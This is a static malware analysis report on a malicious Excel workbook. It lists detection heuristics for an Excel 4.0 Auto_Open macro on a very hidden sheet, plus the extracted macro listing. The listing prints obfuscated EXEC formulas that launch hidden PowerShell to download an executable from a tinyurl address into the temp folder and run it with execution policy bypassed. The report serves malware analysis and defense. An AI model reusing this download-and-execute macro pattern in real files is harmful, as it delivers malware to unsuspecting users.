Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c3bf19f9606d16a…

MALICIOUS

Office (OLE)

152.0 KB Created: 2021-01-15 22:22:16 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: a75a1e5b0bde40218c5a671cf32f441c SHA-1: 76d5dddd94bd95d596ed136ed8972f5b2b3ed458 SHA-256: 7c3bf19f9606d16a35ad07d3c72d9f10e1c22c8f5d16b8c0e1e2b0d6874b7db6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1331 bytes
SHA-256: fbbb2ee63e625aaa4fda2a988290a001458e6842cd7964251bee15a8e6eeba8f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!D102 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Macro,D111,"GET.CELL(5,C114)",""
'  Macro,C114,"",101.00000000000000000000
'  Macro,D129,"EXEC("c"&CHAR(109)&"d /c po^wersh"&CHAR(D111)&"^ll -w 1 (nEw-oB`jecT Ne"&CHAR(116)&CHAR(46)&CHAR(87)&CHAR(101)&"bCL`I`eNT).('D"&CHAR(111)&CHAR(119)&"n'+'"&CHAR(108)&CHAR(111)&CHAR(97)&"dF"&CHAR(105)&"le').In"&CHAR(118)&"ok"&CHAR(D111)&"('"&CHAR(104)&"ttps://tinyurl.com/y4njshds','vn"&CHAR(46)&"exe')")",""
'  Macro,D130,EXEC("c"&CHAR(109)&"d /c po^wersh"&CHAR(D111)&"^ll -w 1 Star"&CHAR(116)&"-Sleep 20; Move-Item "vn"&CHAR(46)&"exe" -D"&CHAR(101)&"stination "${enV`:temp}""),""
'  Macro,D131,EXEC("c"&CHAR(109)&"d /c po^wersh"&CHAR(D111)&"^ll -w 1 -EP bypass Star"&CHAR(116)&"-Sleep 25; cd ${enV`:temp};.('.'+'/vn"&CHAR(46)&"exe')"),""

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